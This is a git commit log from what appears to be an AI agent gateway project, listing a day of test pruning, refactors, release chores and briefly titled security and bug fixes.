91337b4b6f test: remove redundant confirm alt-text passthrough case 2026-02-16 07:42:09 +00:00
Peter Steinberger
f74d56bd3b test: remove redundant image-card aspect ratio passthrough case 2026-02-16 07:40:45 +00:00
Peter Steinberger
56d0ad6942 test: remove redundant action-card hero passthrough case 2026-02-16 07:39:50 +00:00
Peter Steinberger
5997a4b0ef test: remove redundant media-player image passthrough case 2026-02-16 07:39:01 +00:00
Peter Steinberger
720aa3c1e6 test: drop redundant line info-card default footer case 2026-02-16 07:37:41 +00:00
Peter Steinberger
223e2a7127 test: remove redundant button thumbnail passthrough case 2026-02-16 07:36:45 +00:00
Peter Steinberger
31ab8ad46d test: remove overlapping short line grid layout case 2026-02-16 07:35:16 +00:00
Peter Steinberger
82a8fc0bc7 test: remove redundant yes-no default template case 2026-02-16 07:34:18 +00:00
Peter Steinberger
227e31d791 test: remove redundant line default menu config case 2026-02-16 07:32:30 +00:00
Peter Steinberger
357b1e8fee test: remove duplicate line account listing case 2026-02-16 07:30:37 +00:00
Peter Steinberger
4c46c23ca8 test: remove redundant default line account id case 2026-02-16 07:29:10 +00:00
Peter Steinberger
189b2e0588 test: remove redundant line default-menu bounds case 2026-02-16 07:28:02 +00:00
Peter Steinberger
a39c2263e5 test: prune overlapping line markdown conversion cases 2026-02-16 07:26:43 +00:00
Peter Steinberger
0490d0e173 test: drop redundant product carousel limit case 2026-02-16 07:25:16 +00:00
Peter Steinberger
64a0339d58 test: trim redundant line quick-reply account checks 2026-02-16 07:23:40 +00:00
Peter Steinberger
077130bdb8 test: remove overlapping line webhook/account cases 2026-02-16 07:22:30 +00:00
Peter Steinberger
12d6b3b0c9 test: prune redundant line action-type checks 2026-02-16 07:20:57 +00:00
Peter Steinberger
3028a1bd3e test: remove redundant line template type assertions 2026-02-16 07:19:41 +00:00
Peter Steinberger
57e055ddb5 test: remove line text quick-reply passthrough tests 2026-02-16 07:17:39 +00:00
Peter Steinberger
4fd008e918 test: remove redundant flex message wrapper test 2026-02-16 07:16:46 +00:00
Peter Steinberger
d39b8541f8 test: prune redundant markdown extractor plain-text negatives 2026-02-16 07:15:47 +00:00
Peter Steinberger
ac4183edd7 test: remove redundant line existence assertions 2026-02-16 07:14:54 +00:00
Peter Steinberger
838963d66c test: drop low-signal line media player footer assertion 2026-02-16 07:13:47 +00:00
Peter Steinberger
4852dd4503 test: remove duplicate line flex wrapper coverage 2026-02-16 07:12:52 +00:00
Peter Steinberger
4d1cb661fc test: remove redundant line link menu wrapper test 2026-02-16 07:11:16 +00:00
Peter Steinberger
3bd961f00a test: drop duplicate line quick-reply wrapper assertion 2026-02-16 07:10:19 +00:00
Peter Steinberger
583345fdfe test: collapse redundant markdown conversion micro-tests 2026-02-16 07:09:31 +00:00
Peter Steinberger
3d550ed4c3 test: remove low-signal line card existence tests 2026-02-16 07:08:32 +00:00
Peter Steinberger
c37cc5ffad test: trim redundant markdown strip and table layout checks 2026-02-16 07:07:07 +00:00
Peter Steinberger
b83ccfba13 test: remove redundant line flex baseline checks 2026-02-16 07:04:56 +00:00
Peter Steinberger
8ea890e8fb test: remove duplicate line quick-reply assertions 2026-02-16 07:03:51 +00:00
Peter Steinberger
ae6060d777 test: remove redundant line markdown conversion smoke checks 2026-02-16 07:02:37 +00:00
Peter Steinberger
ec708b6ab5 test: trim redundant line action helper smoke checks 2026-02-16 07:01:43 +00:00
Peter Steinberger
944a32cf02 test: remove redundant line flex smoke checks 2026-02-16 06:59:46 +00:00
Peter Steinberger
c4880675e1 test: prune redundant line template constructor checks 2026-02-16 06:58:33 +00:00
Peter Steinberger
8b6537d857 test: trim redundant line template shape checks 2026-02-16 06:57:15 +00:00
Peter Steinberger
12c3821acb test: prune low-signal line flex template checks 2026-02-16 06:55:49 +00:00
Peter Steinberger
a69c06e3cc test: remove duplicate daemon profile trim wrappers 2026-02-16 06:53:13 +00:00
Peter Steinberger
67aa7eefe5 test: remove redundant sticker thread id assertion 2026-02-16 06:51:50 +00:00
Peter Steinberger
425c715a05 test: remove duplicate sticker recipient normalization checks 2026-02-16 06:50:44 +00:00
Peter Steinberger
dcba3e5699 test: trim redundant telegram thread+reply combination checks 2026-02-16 06:49:17 +00:00
Peter Steinberger
27083e6f1a test: remove redundant telegram requireMention negative case 2026-02-16 06:47:45 +00:00
Peter Steinberger
18bb242316 test: remove duplicate line action creator coverage 2026-02-16 06:46:21 +00:00
the sun gif man
68ea063958 🤖 fix: preserve openai reasoning replay ids (#17792)
What:
- disable tool-call id sanitization for OpenAI/OpenAI Codex transcript policy
- gate id sanitization in image sanitizer to full mode only
- keep orphan reasoning downgrade scoped to OpenAI model-switch replay path
- update transcript policy, session-history, sanitizer, and reasoning replay tests
- document OpenAI model-switch orphan-reasoning cleanup behavior in transcript hygiene reference

Why:
- OpenAI Responses replay depends on canonical call_id|fc_id pairings for reasoning followers
- strict id rewriting in OpenAI path breaks follower matching and triggers rs_* orphan 400s
- limiting scope avoids behavior expansion while fixing the identified regression

Tests:
- pnpm vitest run src/agents/transcript-policy.test.ts src/agents/pi-embedded-runner.sanitize-session-history.test.ts src/agents/openai-responses.reasoning-replay.test.ts
- pnpm vitest run --config vitest.e2e.config.ts src/agents/transcript-policy.e2e.test.ts src/agents/pi-embedded-runner.sanitize-session-history.e2e.test.ts src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.e2e.test.ts src/agents/pi-embedded-helpers.sanitizeuserfacingtext.e2e.test.ts
- pnpm lint
- pnpm format:check
- pnpm check:docs
- pnpm test (fails in current macOS bash 3.2 env at test/git-hooks-pre-commit.integration.test.ts: mapfile not found)
2026-02-15 22:45:01 -08:00
Peter Steinberger
eefda1314f test: drop duplicate telegram username allowFrom check 2026-02-16 06:44:38 +00:00
Peter Steinberger
a8a22920f1 test: remove duplicate telegram allowFrom cases 2026-02-16 06:43:24 +00:00
Peter Steinberger
a8084b24d6 test: trim additional low-signal flex template checks 2026-02-16 06:40:26 +00:00
Peter Steinberger
97d5ff3500 test: remove low-signal flex template option-only assertions 2026-02-16 06:38:41 +00:00
Peter Steinberger
abb7618b0f test: remove pass-through rich menu action mode checks 2026-02-16 06:37:38 +00:00
Peter Steinberger
1ec0f3b81d test: drop redundant daemon profile normalization wrappers 2026-02-16 06:36:15 +00:00
Peter Steinberger
6c3e7896c5 test: remove duplicate lowercase default profile daemon path cases 2026-02-16 06:34:05 +00:00
Peter Steinberger
2a5fa426f2 test: remove redundant schtasks command parsing cases 2026-02-16 06:32:59 +00:00
Peter Steinberger
29203884c2 test: consolidate gateway profile normalization coverage 2026-02-16 06:31:36 +00:00
Peter Steinberger
91e120870f test: remove duplicate uppercase default profile daemon cases 2026-02-16 06:29:20 +00:00
Peter Steinberger
6a9ead3813 test: remove duplicate profile-specific daemon constant cases 2026-02-16 06:28:15 +00:00
Peter Steinberger
cb998aa7f9 test: remove duplicate systemd exec-start split assertion 2026-02-16 06:27:19 +00:00
Peter Steinberger
ac02e45a88 test: drop redundant empty-profile extraction cases 2026-02-16 06:25:18 +00:00
Peter Steinberger
8f603ec03d test: remove duplicate default-profile casing checks 2026-02-16 06:23:34 +00:00
Peter Steinberger
84e0ee3c31 test: remove duplicate uppercase default profile case 2026-02-16 06:22:04 +00:00
Peter Steinberger
da2bdbef7e test: remove duplicate systemd exec-start split case 2026-02-16 06:21:13 +00:00
Peter Steinberger
1be7c4ba8e test: move session store pruning integration suite to e2e lane 2026-02-16 06:19:49 +00:00
Peter Steinberger
a82df1015b test: remove duplicate hr spacing assertion 2026-02-16 06:16:33 +00:00
Peter Steinberger
a0b459b8f9 test: remove duplicate undefined-profile default cases 2026-02-16 06:15:26 +00:00
Peter Steinberger
28118ca051 test: drop duplicate internal hook lifecycle case 2026-02-16 06:14:23 +00:00
Peter Steinberger
d374a64658 test: move skills-cli integration coverage to e2e lane 2026-02-16 06:13:46 +00:00
Peter Steinberger
0895bb6de6 test: move skills-install fallback suite to e2e lane 2026-02-16 06:11:01 +00:00
Peter Steinberger
189cba0100 test: remove duplicate sandbox access memory-flush case 2026-02-16 06:08:44 +00:00
Peter Steinberger
108ebc380f test: remove duplicate registry throw assertion 2026-02-16 06:06:24 +00:00
Peter Steinberger
93e62d8e3e test: remove duplicate slack dm authorization case 2026-02-16 06:04:58 +00:00
Peter Steinberger
ed28ad2822 test: remove duplicate configured canonical key case 2026-02-16 06:03:09 +00:00
Peter Steinberger
00bbddeef5 test: move git hook regression to e2e lane 2026-02-16 06:01:07 +00:00
Peter Steinberger
5ac59e6e02 test: remove duplicate availability-unavailable fallback case 2026-02-16 05:58:49 +00:00
Peter Steinberger
bfb5a44089 test: speed up plugin optional tools suite 2026-02-16 05:56:26 +00:00
Peter Steinberger
599195fb31 test: trim duplicate antigravity availability case 2026-02-16 05:53:54 +00:00
Peter Steinberger
705d83aec7 test: drop duplicate z-ai alias filter case 2026-02-16 05:41:58 +00:00
Peter Steinberger
c80017e704 test: trim duplicate z.ai provider alias case 2026-02-16 05:39:42 +00:00
Peter Steinberger
9e67f9d889 test: remove duplicate invalid slash-button case 2026-02-16 05:36:55 +00:00
Peter Steinberger
9383f85046 test: trim redundant web media prefix coverage 2026-02-16 05:34:08 +00:00
Peter Steinberger
5212d1c79e test: make sandbox symlink-escape assertion platform-aware 2026-02-16 06:26:08 +01:00
Peter Steinberger
7aa7b04fb0 test: rebalance isolated unit test lane 2026-02-16 05:22:00 +00:00
Peter Steinberger
b3d3f36360 test: speed up slack slash monitor tests 2026-02-16 05:20:22 +00:00
Peter Steinberger
2b6f8548c9 test: trim pre-commit hook integration setup 2026-02-16 05:15:55 +00:00
Peter Steinberger
9684ae4c6d test: tighten process timeout thresholds with stabilized emit guard 2026-02-16 05:09:47 +00:00
Peter Steinberger
39fa81dc96 chore: bump version to 2026.2.16 2026-02-16 06:08:47 +01:00
Peter Steinberger
f1654b4ba2 test: isolate telegram bot behavior suite from unit-fast lane 2026-02-16 04:50:19 +00:00
Peter Steinberger
0b780789bc test: further reduce process timeout waits in fast suites 2026-02-16 04:48:55 +00:00
Peter Steinberger
795874711b test: shorten process timeout waits in exec and supervisor suites 2026-02-16 04:45:44 +00:00
Peter Steinberger
17d8e2a1c8 test: reduce supervisor no-output wait threshold 2026-02-16 04:43:33 +00:00
Peter Steinberger
c53e4e6c8f test: trim exec timeout waits for faster suite runtime 2026-02-16 04:41:45 +00:00
Peter Steinberger
4f5bc0a493 chore(release): align 2026.2.15 metadata 2026-02-16 05:38:58 +01:00
Peter Steinberger
92ec3ddc14 test: drop brittle pre-commit script structure test 2026-02-16 04:35:54 +00:00
Peter Steinberger
510889d439 test: isolate slack slash and telegram bootstrap suites 2026-02-16 04:34:51 +00:00
Peter Steinberger
ceddb4a593 style(memory): format flaky ci test files 2026-02-16 05:32:42 +01:00
Peter Steinberger
794808b169 test: isolate hook installer suite from unit-fast lane 2026-02-16 04:31:30 +00:00
Peter Steinberger
fb6dba2058 fix(ci): align tar override and lockfile to 7.5.9 2026-02-16 05:30:02 +01:00
Varun Kruthiventi
c62b90a2b7 fix(telegram): stop block streaming from splitting messages when streamMode is off (#17704)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 847162caad
Co-authored-by: saivarunk <2976867+saivarunk@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 09:57:29 +05:30
Peter Steinberger
1b223dbdd8 test: isolate git-hooks integration and stabilize exec timeout 2026-02-16 04:24:00 +00:00
Peter Steinberger
e7ccbd1445 test: isolate block-streaming suite from unit-fast lane 2026-02-16 04:20:21 +00:00
Peter Steinberger
bc65e787c8 test: trim process no-output timeout waits 2026-02-16 04:17:38 +00:00
Vignesh Natarajan
3e1986f119 chore (changelog): note qmd collection isolation fix 2026-02-15 20:15:12 -08:00
Vignesh Natarajan
b32ae6fa0c fix (memory/qmd): isolate managed collections per agent 2026-02-15 20:14:45 -08:00
Peter Steinberger
5d436f48b2 docs: add mac beta release runbook note 2026-02-16 05:13:49 +01:00
Peter Steinberger
90800cd23e chore(release): update appcast for 2026.2.15 2026-02-16 05:10:59 +01:00
Peter Steinberger
f52805a783 test: reuse heartbeat suite fixtures across cases 2026-02-16 04:10:51 +00:00
Peter Steinberger
a7385aa8ac test: reduce process timeout test latency 2026-02-16 04:08:50 +00:00
Peter Steinberger
e8a50e41a5 test: reuse fixtures in skills install fallback suite 2026-02-16 04:03:24 +00:00
Peter Steinberger
83ce48302f test: trim timeout-heavy exec and telegram cases 2026-02-16 04:00:53 +00:00
Peter Steinberger
25dc4293bf test: speed up isolated-agent and pty test suites 2026-02-16 03:58:43 +00:00
Peter Steinberger
3fe22ea2fd chore(release): align .15 changelog ordering and release notes 2026-02-16 04:50:24 +01:00
Peter Steinberger
31939397a9 test: optimize hot-path test runtime 2026-02-16 03:49:05 +00:00
Ayaan Zaidi
9b2e1769c5 docs(contributing): update maintainers list (#17719)
* docs(contributing): refresh maintainer list

* docs(contributing): fix tyler x handle

* docs(contributing): add discord admin scope for shadow

* docs(contributing): add irc scope for vignesh
2026-02-16 09:18:35 +05:30
Peter Steinberger
61a865031f fix: sync pnpm lockfile for docker onboard 2026-02-16 04:45:42 +01:00
Peter Steinberger
ae6fe67550 test: align e2e coverage with supervisor session flow 2026-02-16 03:41:58 +00:00
Peter Steinberger
702b94fe8f style(line): format files to unblock ci check 2026-02-16 03:39:41 +00:00
Peter Steinberger
b5a63e18f9 test(sandbox): add array-order hash and recreate regression tests 2026-02-16 04:36:24 +01:00
Vignesh Natarajan
78277152ca test(heartbeat): cover telegram showOk suppression 2026-02-15 19:35:25 -08:00
Peter Steinberger
d1fca442b4 refactor(sandbox): centralize sha256 helpers 2026-02-16 04:33:47 +01:00
Sebastian
3c467baa2d test(skills): add status-to-install apt fallback coverage 2026-02-15 22:32:51 -05:00
Sebastian
c8e110e2e3 refactor(skills): extract installer strategy helpers 2026-02-15 22:32:51 -05:00
Peter Steinberger
41ded303b4 fix(sandbox): preserve array order in config hashing 2026-02-16 04:32:03 +01:00
Vignesh Natarajan
cbf58d2e1c fix(memory): harden context window cache collisions 2026-02-15 19:31:52 -08:00
Peter Steinberger
559c8d9930 fix: replace deprecated SHA-1 in sandbox config hash 2026-02-16 04:30:59 +01:00
Peter Steinberger
aef1d55300 fix(cron): normalize skill-filter snapshots and split isolated run helpers 2026-02-16 04:27:12 +01:00
Peter Steinberger
6754a926ee fix(pairing): support legacy telegram allowFrom migration 2026-02-16 03:26:07 +00:00
Vignesh Natarajan
18c6f40d32 chore (changelog): credit LINE webhook fail-closed hardening 2026-02-15 19:25:33 -08:00
Vignesh Natarajan
c7bc7249c3 test (security/line): cover missing webhook auth startup paths 2026-02-15 19:25:33 -08:00
Vignesh Natarajan
beb77229c0 fix (security/line): fail closed when webhook auth is missing 2026-02-15 19:25:33 -08:00
McRolly NWANGWU
d19b746928 feat(skills): add cross-platform install fallback for non-brew environments (#17687)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 3ed4850838
Co-authored-by: mcrolly <60803337+mcrolly@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-15 22:25:26 -05:00
Vignesh Natarajan
9df21da129 chore (changelog): credit memory flush runtime date fix 2026-02-15 19:20:38 -08:00
Vignesh Natarajan
3087657679 test (memory/compaction): cover resolved memory flush prompt semantics 2026-02-15 19:20:38 -08:00
Vignesh Natarajan
ffbcb37342 fix (memory/compaction): inject runtime date-time into memory flush prompt 2026-02-15 19:20:38 -08:00
Shadow
a61c2dc4bd Discord: add component v2 UI tool support (#17419) 2026-02-15 21:19:25 -06:00
Peter Steinberger
b4a9eacd76 chore: format qmd-manager test 2026-02-16 04:18:42 +01:00
Peter Steinberger
ac2ede5bb1 fix(telegram): treat no-op editMessage as success 2026-02-16 04:18:24 +01:00
Vignesh Natarajan
7089885ac4 chore (changelog): credit unicode FTS tokenization fix 2026-02-15 19:17:06 -08:00
Vignesh Natarajan
501e893676 fix (memory/search): support unicode tokens in FTS query builder 2026-02-15 19:17:03 -08:00
Vignesh Natarajan
82631d225c chore (changelog): credit sandbox prompt path guidance fix 2026-02-15 19:16:02 -08:00
Vignesh Natarajan
799049f586 fix (agents/sandbox): clarify container-vs-host workspace paths in prompt 2026-02-15 19:16:02 -08:00
Peter Steinberger
ab1dc89a2d chore(deps): update dependencies 2026-02-16 04:15:03 +01:00
Vignesh Natarajan
0b3d4b8e57 chore (changelog): credit control-ui scope bypass fix 2026-02-15 19:12:10 -08:00
Vignesh Natarajan
eed02a2b57 fix (security/gateway): preserve control-ui scopes in bypass mode 2026-02-15 19:12:06 -08:00
Vignesh Natarajan
a203430aa3 chore (changelog): credit pairing account isolation fix 2026-02-15 19:10:06 -08:00
Vignesh Natarajan
6cf7c02d4a feat (cli): add account selector for pairing commands 2026-02-15 19:10:06 -08:00
Vignesh Natarajan
6957354d48 fix (telegram/whatsapp): use account-scoped pairing allowlists 2026-02-15 19:10:06 -08:00
Vignesh Natarajan
ee10feb80e fix (security/pairing): scope pairing stores by account 2026-02-15 19:10:06 -08:00
Marcus Castro
61c9935264 fix: correct indentation in cron isolated-agent run.ts 2026-02-16 04:09:39 +01:00
Marcus Castro
e5dbfde7e1 test(cron): add empty-skills edge case for skill filter coverage
Addresses Greptile review feedback: locks in behavior when an agent
has skills: [] (explicit empty list), ensuring skillFilter: [] is
forwarded to buildWorkspaceSkillSnapshot to filter out all skills.
2026-02-16 04:09:39 +01:00
Marcus Castro
053affffec fix(cron): pass agent-level skill filter to isolated cron sessions
Isolated cron sessions called buildWorkspaceSkillSnapshot without
the skillFilter parameter, causing all skills to be included even
when an agent had a restricted skills list via agents.list[].skills.

Resolves the filter using resolveAgentSkillsFilter and passes it
through, aligning isolated cron with main session behavior.

Fixes #10804
2026-02-16 04:09:39 +01:00
Peter Steinberger
e1e46dc11b docs: reorder 2026.2.15 changelog entries by impact 2026-02-16 04:06:46 +01:00
Peter Steinberger
7cd288a8a0 docs: add plugin release fast path notes 2026-02-16 04:06:09 +01:00
Peter Steinberger
38ac4b8083 test(pty): stabilize non-windows signal assertion 2026-02-16 03:06:03 +00:00
Vignesh Natarajan
e7a053b4dd chore (changelog): credit qmd session collection rebind fix 2026-02-15 19:03:59 -08:00
Vignesh Natarajan
85430c8495 fix (memory/qmd): rebind drifted managed collection paths 2026-02-15 19:03:55 -08:00
Vignesh Natarajan
8e162d9319 chore (changelog): credit inbound metadata id fix 2026-02-15 19:01:08 -08:00
Vignesh Natarajan
bed8e7abe6 fix (auto-reply): expose inbound message identifiers in trusted metadata 2026-02-15 19:01:08 -08:00
Peter Steinberger
82333add95 test(sessions): cover sandbox session-tools context 2026-02-16 03:00:25 +00:00
Peter Steinberger
7a4a068124 test(sessions): add access and resolution helper coverage 2026-02-16 02:59:30 +00:00
Peter Steinberger
1a03aad246 refactor(sessions): split access and resolution helpers 2026-02-16 03:56:49 +01:00
Peter Steinberger
2f621876f1 test(gateway): cover basePath bootstrap config endpoint 2026-02-16 02:56:23 +00:00
Peter Steinberger
6dfefa1be1 test(ui): cover trailing-slash bootstrap basePath 2026-02-16 02:55:24 +00:00
Peter Steinberger
c876d24d89 test: expand prompt and update hint coverage 2026-02-16 02:54:06 +00:00
Tag
6802b155a8 fix: stop LLM retry loop when browser control service is unavailable (#17673)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 90f47fe132
Co-authored-by: tag-assistant <260167501+tag-assistant@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-15 21:53:49 -05:00
Peter Steinberger
17a148c8a8 fix: always include long-wait polling guidance in prompt 2026-02-16 03:51:38 +01:00
Peter Steinberger
abd26b6e54 refactor(ui): reuse Control UI bootstrap path constant 2026-02-16 03:50:39 +01:00
Peter Steinberger
8985f23de7 test(gateway): move Control UI http coverage 2026-02-16 03:50:39 +01:00
Peter Steinberger
c6e6023e3a refactor(gateway): share Control UI bootstrap contract and CSP 2026-02-16 03:50:39 +01:00
Peter Steinberger
6e7c1c16e7 test: remove duplicate legacy sessions_spawn e2e file 2026-02-16 03:48:51 +01:00
Peter Steinberger
52e240d10d test(status): add coverage for update summary + timestamps 2026-02-16 02:47:47 +00:00
Peter Steinberger
b6305e9725 test(skills): split installer security coverage 2026-02-16 03:47:28 +01:00
Peter Steinberger
2363e1b085 fix(security): restrict skill download target paths 2026-02-16 03:47:28 +01:00
Peter Steinberger
c6c53437f7 fix(security): scope session tools and webhook secret fallback 2026-02-16 03:47:10 +01:00
Peter Steinberger
fbe6d7c701 ci: include a2ui sources in onboarding docker build 2026-02-16 02:45:00 +00:00
Peter Steinberger
2a53eff856 perf: speed up slack slash handler tests 2026-02-16 02:45:00 +00:00
Peter Steinberger
cd37c52624 perf: speed up slack slash tests 2026-02-16 02:45:00 +00:00
Peter Steinberger
17e5a5015c perf: avoid async cron timer callbacks 2026-02-16 02:45:00 +00:00
Peter Steinberger
8515ae6eea perf: consolidate telegram bot test harness 2026-02-16 02:45:00 +00:00
Peter Steinberger
d1de66b6cf perf: speed up gateway lock tests 2026-02-16 02:45:00 +00:00
Peter Steinberger
7eeba3de85 perf: speed up telegram bot suite setup 2026-02-16 02:45:00 +00:00
Peter Steinberger
38c91c5a13 test: speed up skills-cli integration 2026-02-16 02:45:00 +00:00
Peter Steinberger
88033002ba test: consolidate nodes screen helpers 2026-02-16 02:45:00 +00:00
Peter Steinberger
f835301aed test: consolidate channel helper suites 2026-02-16 02:45:00 +00:00
Peter Steinberger
4d4f693f92 test: consolidate media store header extension coverage 2026-02-16 02:45:00 +00:00
Peter Steinberger
d95be2c384 fix: preserve sandbox allow-all semantics 2026-02-16 02:45:00 +00:00
Peter Steinberger
014d45f7ee test: tighten relay smoke + slack token validation 2026-02-16 02:45:00 +00:00
Peter Steinberger
4d9e310dad test: strengthen ports, tool policy, and note wrapping 2026-02-16 02:45:00 +00:00
Peter Steinberger
f50e1e8015 perf(test): fold gateway discover tests into run-loop 2026-02-16 02:45:00 +00:00
Peter Steinberger
aa1e4962da perf(test): fold doctor legacy migration harness cases 2026-02-16 02:45:00 +00:00
Peter Steinberger
ea07d3fdd8 perf(test): consolidate auth/pty/health mini suites 2026-02-16 02:45:00 +00:00
Peter Steinberger
f142048293 perf(test): fold tool-policy + doctor workspace entrypoints 2026-02-16 02:45:00 +00:00
Peter Steinberger
5fe47e7be6 perf(test): fold ports + terminal note suites 2026-02-16 02:45:00 +00:00
Peter Steinberger
3f44ea244f perf(test): fold health + signal mention tests 2026-02-16 02:45:00 +00:00
Peter Steinberger
6b2f40652f perf(test): consolidate daemon test entrypoints 2026-02-16 02:45:00 +00:00
Peter Steinberger
00e79ac897 perf(test): consolidate pi-embedded helpers e2e suites 2026-02-16 02:45:00 +00:00
Peter Steinberger
efe530acdd perf(test): fold session key utils into routing session key suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
d69496c449 perf(test): fold small config suites into config misc 2026-02-16 02:45:00 +00:00
Peter Steinberger
9386075b7b perf(test): fold node-host runner tests into sanitize env suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
e64dd7b56a perf(test): fold markdown list spacing into nested lists suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
0e4eada580 perf(test): fold telegram update offset store into token suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
65b5dbd6c1 perf(test): fold telegram sent-message cache tests into send suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
e770728cb5 perf(test): fold telegram download tests into fetch suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
cb80901cf9 perf(test): fold cron system event filter into system events suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
3e0076c9ce perf(test): drop redundant index entrypoint tests 2026-02-16 02:45:00 +00:00
Peter Steinberger
02124094bf perf(test): fold acp event mapper tests into client suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
37f030a671 perf(test): fold console prefix tests into logger suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
be3c431011 perf(test): fold gateway config schema tests into config misc 2026-02-16 02:45:00 +00:00
Peter Steinberger
b97c5d6158 perf(test): fold sender identity checks into channel config suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
2b4ebcb570 chore: remove accidental a2ui bundle artifacts 2026-02-16 02:45:00 +00:00
Peter Steinberger
2acc0b0f47 perf(test): fold globals unit tests into logger suite 2026-02-16 02:45:00 +00:00
Peter Steinberger
056070c2bf perf(test): fold cron webhook schema coverage into config misc 2026-02-16 02:44:59 +00:00
Peter Steinberger
04004c5663 perf(test): consolidate models-config provider unit tests 2026-02-16 02:44:59 +00:00
Peter Steinberger
e1350ff976 perf(test): fold imessage rpc client guard into targets suite 2026-02-16 02:44:59 +00:00
Peter Steinberger
8d2029a03d perf(test): fold qr-image tests into web login suite 2026-02-16 02:44:59 +00:00
Peter Steinberger
58ab60c0fc perf(test): fold tls fingerprint normalization into ssrf suite 2026-02-16 02:44:59 +00:00
Peter Steinberger
7c27c2d659 refactor(daemon-cli): share status text styling 2026-02-16 02:42:55 +00:00
Peter Steinberger
c1655982d4 refactor: centralize pre-commit file filtering 2026-02-16 03:42:11 +01:00
Peter Steinberger
91c49dd0ea refactor(status): share registry summary formatting 2026-02-16 02:41:30 +00:00
Peter Steinberger
8eecf97cc5 refactor(cli): share gmail webhook option parsing 2026-02-16 02:39:55 +00:00
Peter Steinberger
46e714058c refactor(subagents): dedupe list row builder 2026-02-16 02:38:00 +00:00
Peter Steinberger
1547bb6a07 refactor(auto-reply): share abort persistence 2026-02-16 02:36:18 +00:00
Peter Steinberger
0c8bb361ca refactor(gateway-tool): share write metadata parsing 2026-02-16 02:36:18 +00:00
seewhy
ddcc7a1a5d fix(discord): dedupe native skill commands by skillName (#17365)
* fix(discord): dedupe native skill commands by skill name

* Changelog: credit Discord skill dedupe

---------

Co-authored-by: yume <yume@yumedeMacBook-Pro.local>
Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-15 20:33:51 -06:00
Peter Steinberger
d9d5b53b42 refactor(logging): share local iso timestamp format 2026-02-16 02:32:59 +00:00
Peter Steinberger
9805ce0097 refactor(memory): reuse cached embedding collector 2026-02-16 02:32:59 +00:00
Peter Steinberger
cf69907015 fix(security): redact Telegram bot tokens in errors 2026-02-16 03:30:53 +01:00
Shakker
09566b1693 fix(discord): preserve channel session keys via channel_id fallbacks (#17622)
* fix(discord): preserve channel session keys via channel_id fallbacks

* docs(changelog): add discord session continuity note

* Tests: cover discord channel_id fallback

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-15 20:30:17 -06:00
Peter Steinberger
39d5590230 refactor(line): reuse reply chunk deps type 2026-02-16 02:29:07 +00:00
Peter Steinberger
35c5d2be5c refactor(telegram): share group allowFrom resolution 2026-02-16 02:27:01 +00:00
Peter Steinberger
b88f377623 fix: make fast-tool stub type portable 2026-02-16 03:23:45 +01:00
Peter Steinberger
ba84b12535 fix: harden pre-commit hook against option injection 2026-02-16 03:23:45 +01:00
Peter Steinberger
dc9808a674 refactor(gateway): dedupe transcript tail preview 2026-02-16 02:21:39 +00:00
Peter Steinberger
60ad2c2e96 refactor(device-pairing): share token update context 2026-02-16 02:19:53 +00:00
Peter Steinberger
a7cbce1b3d refactor(security): tighten sandbox bind validation 2026-02-16 03:19:50 +01:00
Peter Steinberger
a74251d415 refactor(agents): dedupe fast tool stubs 2026-02-16 02:17:45 +00:00
Peter Steinberger
cbc3de6c97 docs(changelog): fix conflict marker 2026-02-16 03:15:57 +01:00
Peter Steinberger
01b1e350b2 docs: note Control UI XSS fix 2026-02-16 03:15:57 +01:00
Peter Steinberger
3b4096e02e fix(ui): load Control UI bootstrap config via JSON endpoint 2026-02-16 03:15:57 +01:00
Peter Steinberger
adc818db4a fix(gateway): serve Control UI bootstrap config and lock down CSP 2026-02-16 03:15:57 +01:00
Peter Steinberger
568fd337be refactor(web-fetch): dedupe firecrawl fallback 2026-02-16 02:15:02 +00:00
Peter Steinberger
d9ca051a1d refactor(auto-reply): share slash parsing for config/debug 2026-02-16 02:11:12 +00:00
Peter Steinberger
1b6704ef53 docs: update sandbox bind mount guidance 2026-02-16 03:05:16 +01:00
Peter Steinberger
887b209db4 fix(security): harden sandbox docker config validation 2026-02-16 03:04:06 +01:00
Peter Steinberger
d4bdcda324 refactor(nodes-cli): share node.invoke param builder 2026-02-16 02:03:15 +00:00
Peter Steinberger
966957fc66 refactor(nodes-cli): share pending pairing table 2026-02-16 01:58:30 +00:00
Peter Steinberger
555eb3f62c refactor(discord): share member access state 2026-02-16 01:55:40 +00:00
Peter Steinberger
93b9f1ec5f docs(changelog): note prompt path injection hardening 2026-02-16 02:53:40 +01:00
Peter Steinberger
6254e96acf fix(security): harden prompt path sanitization 2026-02-16 02:53:40 +01:00
Peter Steinberger
19f53543d2 refactor(utils): share chunkItems helper 2026-02-16 01:52:30 +00:00
Peter Steinberger
618008b483 refactor(channels): share directory allowFrom parsing 2026-02-16 01:49:16 +00:00
Peter Steinberger
31d1ed351f refactor(channels): dedupe status account bits 2026-02-16 01:47:52 +00:00
Peter Steinberger
22c1210a16 refactor(auto-reply): share directive level resolution 2026-02-16 01:45:51 +00:00
Peter Steinberger
273d70741f refactor(supervisor): share env normalization 2026-02-16 01:41:35 +00:00
Peter Steinberger
07be14c02d refactor(gateway): dedupe chat session abort flow 2026-02-16 01:39:39 +00:00
Peter Steinberger
5b2cb8ba11 refactor(cron): dedupe finished event emit 2026-02-16 01:37:03 +00:00
Peter Steinberger
1d7b2bc9c8 refactor(slack): dedupe slash reply delivery 2026-02-16 01:35:46 +00:00
